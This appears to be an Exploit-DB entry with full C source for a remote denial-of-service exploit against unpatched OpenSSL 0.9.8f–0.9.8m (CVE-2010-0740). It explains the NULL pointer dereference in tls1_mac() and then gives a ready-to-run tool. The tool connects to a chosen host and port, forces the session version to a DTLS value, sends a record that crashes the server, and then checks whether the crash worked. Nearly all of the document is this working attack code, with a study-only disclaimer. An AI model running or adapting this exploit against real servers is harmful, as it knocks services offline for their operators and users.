OpenSSL - Remote Denial of Service

EDB-ID:

12334

Author:

Andi

Type:

dos

Platform:

Linux

Published:

2010-04-22

/***********************************************************
 * hoagie_openssl_record_of_death.c
 * OPENSSL REMOTE DENIAL-OF-SERVICE EXPLOIT 
 * - OpenSSL 0.9.8m (short = 16 bit)
 * - OpenSSL 0.9.8f through 0.9.8m (short != 16 bit)
 *
 * CVE-2010-0740
 *
 * Bug discovered by:
 * Bodo Moeller and Adam Langley (Google)
 * Philip Olausson <po@secweb.se>
 * http://openssl.org/news/secadv_20100324.txt
 *
 * The main problem is in ssl/t1_enc.c => tls1_mac() function
 *
 * - OpenSSL 0.9.8m
 *         if (ssl->version == DTLS1_BAD_VER ||
 *           (ssl->version == DTLS1_VERSION && ssl->client_version != DTLS1_BAD_VER))
 *               {
 *               unsigned char dtlsseq[8],*p=dtlsseq;
 *               s2n(send?ssl->d1->w_epoch:ssl->d1->r_epoch, p);
 *
 * - OpenSSL 0.9.8f - 0.9.8n
 *         if (ssl->version == DTLS1_VERSION && ssl->client_version != DTLS1_BAD_VER)
 *               {
 *               unsigned char dtlsseq[8],*p=dtlsseq;
 *
 *               s2n(send?ssl->d1->w_epoch:ssl->d1->r_epoch, p);
 *
 * There is a NULL pointer dereference => ssl->d1 because d1 is only initialized in
 * ssl/d1_lib.c => dtls1_new(). So if you use SSLv23_server_method() or 
 * TLSv1_server_method() this variable will be NULL.
 *
 * If the patch (see http://openssl.org/news/secadv_20100324.txt) is not applied
 * its possible to set the version to DTLS1_BAD_VER (0x100) or DTLS_VERSION (0xfeff)
 * and transmit the packet to the server or client to trigger the vulnerability.
 *
 * When you are using OpenSSL 0.9.8m you can send DTLS1_BAD_VER because 0x100 is not 
 * a problem with signed/unsigned.
 *
 * If you are using OpenSSL 0.9.8f to 0.9.8n you have to trigger the vulnerability
 * via DTLS1_VERSION. In that case version will be 0xfffffeff. So it doesnt work
 * if DTLS1_VERSION is 16 bit.
 *
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
 * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY
 * DAMAGE DONE USING THIS PROGRAM.
 *
 * VOID.AT Security
 * andi@void.at
 * http://www.void.at
 *
 ************************************************************/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <openssl/ssl.h>

/* usage
 * display help screen
 */
void usage(int argc, char **argv) {
   fprintf(stderr,
           "usage: %s [-h] [-v] [-d <host>] [-p <port>]\n"
           "\n"
           "-h        help\n"
           "-v        verbose\n"
           "-d host   SSL server\n"
           "-p port   SSL port\n"
           "-t target\n"
           "   0 ... OpenSSL 0.9.8m (short = 16 bit) - default\n"
           "   1 ... OpenSSL 0.9.8f through 0.9.8m (short != 16 bit)\n"
           ,
           argv[0]);
   exit(1);
}

/* connect_to
 * connect to remote http server
 */
int connect_to(char *host, int port) {
   struct sockaddr_in s_in;
   struct hostent *he;
   int s;

   if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {
      return -1;
   }

   memset(&s_in, 0, sizeof(s_in));
   s_in.sin_family = AF_INET;
   s_in.sin_port = htons(port);

   if ( (he = gethostbyname(host)) != NULL)
       memcpy(&s_in.sin_addr, he->h_addr, he->h_length);
   else {
       if ( (s_in.sin_addr.s_addr = inet_addr(host) ) < 0) {
          return -3;
       }
   }

   if (connect(s, (struct sockaddr *)&s_in, sizeof(s_in)) == -1) {
      return -4;
   }

   return s;
}

/* ssl_connect_to
 * establish ssl connection over tcp connection
 */
SSL *ssl_connect_to(int s) {
   SSL *ssl;
   SSL_CTX *ctx;
   BIO *sbio;
   SSL_METHOD *meth;

   CRYPTO_malloc_init();
   SSL_load_error_strings();
   SSL_library_init();

   // meth = TLSv1_client_method();
   meth = SSLv23_client_method();
   ctx = SSL_CTX_new(meth);
   ssl = SSL_new(ctx);
   sbio = BIO_new_socket(s, BIO_NOCLOSE);
   SSL_set_bio(ssl, sbio, sbio);

   if (SSL_connect(ssl) <= 0) {
      return NULL;
   }

   return ssl;
}


int main(int argc, char **argv) {
   struct sockaddr_in s_in;
   struct hostent *he;
   char data[1024];

   int s;
   int target = 0;
   char c;
   char *destination = NULL;
   int port = 0;
   SSL *ssl = NULL;

   fprintf(stderr,
           "hoagie_openssl_record_of_death.c - openssl ssl3_get_record() remote\n"
           "-andi / void.at\n\n");

   if (argc < 2) {
      usage(argc, argv);
   } else {
      while ((c = getopt (argc, argv, "hd:p:t:")) != EOF) {
         switch (c) {
            case 'h':
                 usage(argc, argv);
                 break;
            case 'd':
                 destination = optarg;
                 break;
            case 'p':
                 port = atoi(optarg);
                 break;
            case 't':
                 target = atoi(optarg);
                 break;
         }
      }

      if (!destination || !port) {
         fprintf(stderr, "[*] destination and/or port missing\n");
      } else if (target && target != 1) {
         fprintf(stderr, "[*] invalid target '%d'\n", target);
      } else {
         s = connect_to(destination, port);
         if (s > 0) {
            fprintf(stderr, "[+] tcp connection to '%s:%d' successful\n", destination, port);
            ssl = ssl_connect_to(s);
            if (ssl) {
               fprintf(stderr, "[+] ssl connection to '%s:%d' successful\n", destination, port);
               snprintf(data, sizeof(data), "GET / HTTP/1.0\r\n\r\n");

               fprintf(stderr, "[+] sending first packet ...\n");
               SSL_write(ssl, data, strlen(data));

               if (!target) {
                  ssl->version = DTLS1_BAD_VER;
               } else {
                  ssl->version = DTLS1_VERSION;
               }

               fprintf(stderr, "[+] sending second paket ...\n");
               SSL_write(ssl, data, strlen(data));

               SSL_shutdown(ssl);
               close(s);

               sleep(1);

               s = connect_to(destination, port);
               if (s > 0) {
                  fprintf(stderr, "[-] exploit failed\n");
                  close(s);
               } else {
                  fprintf(stderr, "[+] exploit successful\n");
               }
            } else {
               fprintf(stderr, "[-] ssl connection to '%s:%d' failed\n", destination, port);
            }
         } else {
            fprintf(stderr, "[-] tcp connection to '%s:%d' failed\n", destination, port);
         }
      }
   }
   
   return 0;
}